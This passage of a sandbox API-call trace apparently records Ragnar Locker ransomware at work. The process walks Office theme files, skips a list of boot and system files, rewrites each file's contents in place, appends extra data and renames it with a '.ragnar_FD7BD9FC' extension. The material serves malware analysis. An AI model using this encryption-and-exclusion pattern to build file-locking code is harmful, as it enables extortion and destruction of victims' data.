ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1 [0093.651] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.651] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Opulent.xml" | out: lpString1="Opulent.xml") returned="Opulent.xml" [0093.651] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml") returned=".xml" [0093.651] lstrcmpiW (lpString1="Opulent.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.651] lstrcmpiW (lpString1="Opulent.xml", lpString2="autorun.inf") returned 1 [0093.651] lstrcmpiW (lpString1="Opulent.xml", lpString2="boot.ini") returned 1 [0093.651] lstrcmpiW (lpString1="Opulent.xml", lpString2="bootfont.bin") returned 1 [0093.651] lstrcmpiW (lpString1="Opulent.xml", lpString2="bootsect.bak") returned 1 [0093.651] lstrcmpiW (lpString1="Opulent.xml", lpString2="bootmgr") returned 1 [0093.651] lstrcmpiW (lpString1="Opulent.xml", lpString2="bootmgr.efi") returned 1 [0093.651] lstrcmpiW (lpString1="Opulent.xml", lpString2="bootmgfw.efi") returned 1 [0093.651] lstrcmpiW (lpString1="Opulent.xml", lpString2="desktop.ini") returned 1 [0093.652] lstrcmpiW (lpString1="Opulent.xml", lpString2="iconcache.db") returned 1 [0093.652] lstrcmpiW (lpString1="Opulent.xml", lpString2="ntldr") returned 1 [0093.652] lstrcmpiW (lpString1="Opulent.xml", lpString2="ntuser.dat") returned 1 [0093.652] lstrcmpiW (lpString1="Opulent.xml", lpString2="ntuser.dat.log") returned 1 [0093.652] lstrcmpiW (lpString1="Opulent.xml", lpString2="ntuser.ini") returned 1 [0093.652] lstrcmpiW (lpString1="Opulent.xml", lpString2="thumbs.db") returned -1 [0093.652] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.652] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.652] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.652] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.652] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.652] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.652] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml")) returned 0x20 [0093.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.652] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=962) returned 1 [0093.653] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.653] GetProcessHeap () returned 0x580000 [0093.653] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.653] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.654] VirtualAlloc (lpAddress=0x0, dwSize=0x3c2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.654] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.654] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.654] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c2, lpOverlapped=0x0) returned 1 [0093.655] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.655] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c2, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.655] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c2, lpOverlapped=0x0) returned 1 [0093.655] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.655] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.655] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.655] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.655] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.655] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.655] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.655] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.655] GetProcessHeap () returned 0x580000 [0093.655] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.655] CloseHandle (hObject=0x10c) returned 1 [0093.655] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" [0093.656] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml.ragnar_FD7BD9FC" [0093.656] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.656] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1 [0093.656] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.656] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Oriel.xml" | out: lpString1="Oriel.xml") returned="Oriel.xml" [0093.656] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml") returned=".xml" [0093.656] lstrcmpiW (lpString1="Oriel.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.656] lstrcmpiW (lpString1="Oriel.xml", lpString2="autorun.inf") returned 1 [0093.656] lstrcmpiW (lpString1="Oriel.xml", lpString2="boot.ini") returned 1 [0093.656] lstrcmpiW (lpString1="Oriel.xml", lpString2="bootfont.bin") returned 1 [0093.657] lstrcmpiW (lpString1="Oriel.xml", lpString2="bootsect.bak") returned 1 [0093.657] lstrcmpiW (lpString1="Oriel.xml", lpString2="bootmgr") returned 1 [0093.657] lstrcmpiW (lpString1="Oriel.xml", lpString2="bootmgr.efi") returned 1 [0093.657] lstrcmpiW (lpString1="Oriel.xml", lpString2="bootmgfw.efi") returned 1 [0093.657] lstrcmpiW (lpString1="Oriel.xml", lpString2="desktop.ini") returned 1 [0093.657] lstrcmpiW (lpString1="Oriel.xml", lpString2="iconcache.db") returned 1 [0093.657] lstrcmpiW (lpString1="Oriel.xml", lpString2="ntldr") returned 1 [0093.657] lstrcmpiW (lpString1="Oriel.xml", lpString2="ntuser.dat") returned 1 [0093.657] lstrcmpiW (lpString1="Oriel.xml", lpString2="ntuser.dat.log") returned 1 [0093.657] lstrcmpiW (lpString1="Oriel.xml", lpString2="ntuser.ini") returned 1 [0093.657] lstrcmpiW (lpString1="Oriel.xml", lpString2="thumbs.db") returned -1 [0093.657] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.657] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.657] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.657] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.657] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.657] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.657] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml")) returned 0x20 [0093.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.658] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=960) returned 1 [0093.658] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.658] GetProcessHeap () returned 0x580000 [0093.658] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.658] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.659] VirtualAlloc (lpAddress=0x0, dwSize=0x3c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.659] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.659] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.659] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c0, lpOverlapped=0x0) returned 1 [0093.659] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.659] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c0, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.660] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c0, lpOverlapped=0x0) returned 1 [0093.660] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.660] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.660] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.660] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.660] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.660] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.660] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.660] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.660] GetProcessHeap () returned 0x580000 [0093.660] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.660] CloseHandle (hObject=0x10c) returned 1 [0093.660] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" [0093.660] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml.ragnar_FD7BD9FC" [0093.660] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.661] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1 [0093.661] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.661] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Origin.xml" | out: lpString1="Origin.xml") returned="Origin.xml" [0093.661] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml") returned=".xml" [0093.661] lstrcmpiW (lpString1="Origin.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.661] lstrcmpiW (lpString1="Origin.xml", lpString2="autorun.inf") returned 1 [0093.661] lstrcmpiW (lpString1="Origin.xml", lpString2="boot.ini") returned 1 [0093.661] lstrcmpiW (lpString1="Origin.xml", lpString2="bootfont.bin") returned 1 [0093.661] lstrcmpiW (lpString1="Origin.xml", lpString2="bootsect.bak") returned 1 [0093.661] lstrcmpiW (lpString1="Origin.xml", lpString2="bootmgr") returned 1 [0093.661] lstrcmpiW (lpString1="Origin.xml", lpString2="bootmgr.efi") returned 1 [0093.661] lstrcmpiW (lpString1="Origin.xml", lpString2="bootmgfw.efi") returned 1 [0093.661] lstrcmpiW (lpString1="Origin.xml", lpString2="desktop.ini") returned 1 [0093.661] lstrcmpiW (lpString1="Origin.xml", lpString2="iconcache.db") returned 1 [0093.662] lstrcmpiW (lpString1="Origin.xml", lpString2="ntldr") returned 1 [0093.662] lstrcmpiW (lpString1="Origin.xml", lpString2="ntuser.dat") returned 1 [0093.662] lstrcmpiW (lpString1="Origin.xml", lpString2="ntuser.dat.log") returned 1 [0093.662] lstrcmpiW (lpString1="Origin.xml", lpString2="ntuser.ini") returned 1 [0093.662] lstrcmpiW (lpString1="Origin.xml", lpString2="thumbs.db") returned -1 [0093.662] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.662] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.662] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.662] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.662] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.662] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.662] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml")) returned 0x20 [0093.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.663] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=961) returned 1 [0093.663] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.663] GetProcessHeap () returned 0x580000 [0093.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.663] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.665] VirtualAlloc (lpAddress=0x0, dwSize=0x3c1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.665] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.665] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.665] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c1, lpOverlapped=0x0) returned 1 [0093.665] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.665] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c1, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.665] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c1, lpOverlapped=0x0) returned 1 [0093.665] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.665] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.665] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.665] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.665] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.666] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.666] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.666] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.666] GetProcessHeap () returned 0x580000 [0093.666] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.666] CloseHandle (hObject=0x10c) returned 1 [0093.666] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" [0093.666] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml.ragnar_FD7BD9FC" [0093.666] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.667] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0093.667] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.667] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Paper.xml" | out: lpString1="Paper.xml") returned="Paper.xml" [0093.667] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml") returned=".xml" [0093.667] lstrcmpiW (lpString1="Paper.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.667] lstrcmpiW (lpString1="Paper.xml", 